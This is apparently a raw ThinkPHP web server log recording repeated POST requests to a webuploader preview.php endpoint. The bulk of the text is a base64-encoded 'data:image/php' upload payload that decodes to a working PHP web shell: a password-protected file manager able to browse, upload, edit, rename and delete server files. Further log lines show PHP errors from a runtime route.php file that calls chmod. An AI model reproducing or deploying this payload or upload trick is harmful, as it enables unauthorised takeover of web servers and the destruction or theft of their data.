VEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:08:16+08:00 ] 119.42.146.234 POST 59.110.137.245/Public/webuploader/0.1.15/server/preview.php [运行时间:0.002580s] [吞吐率:387.61req/s] [内存消耗:180.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciB' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - 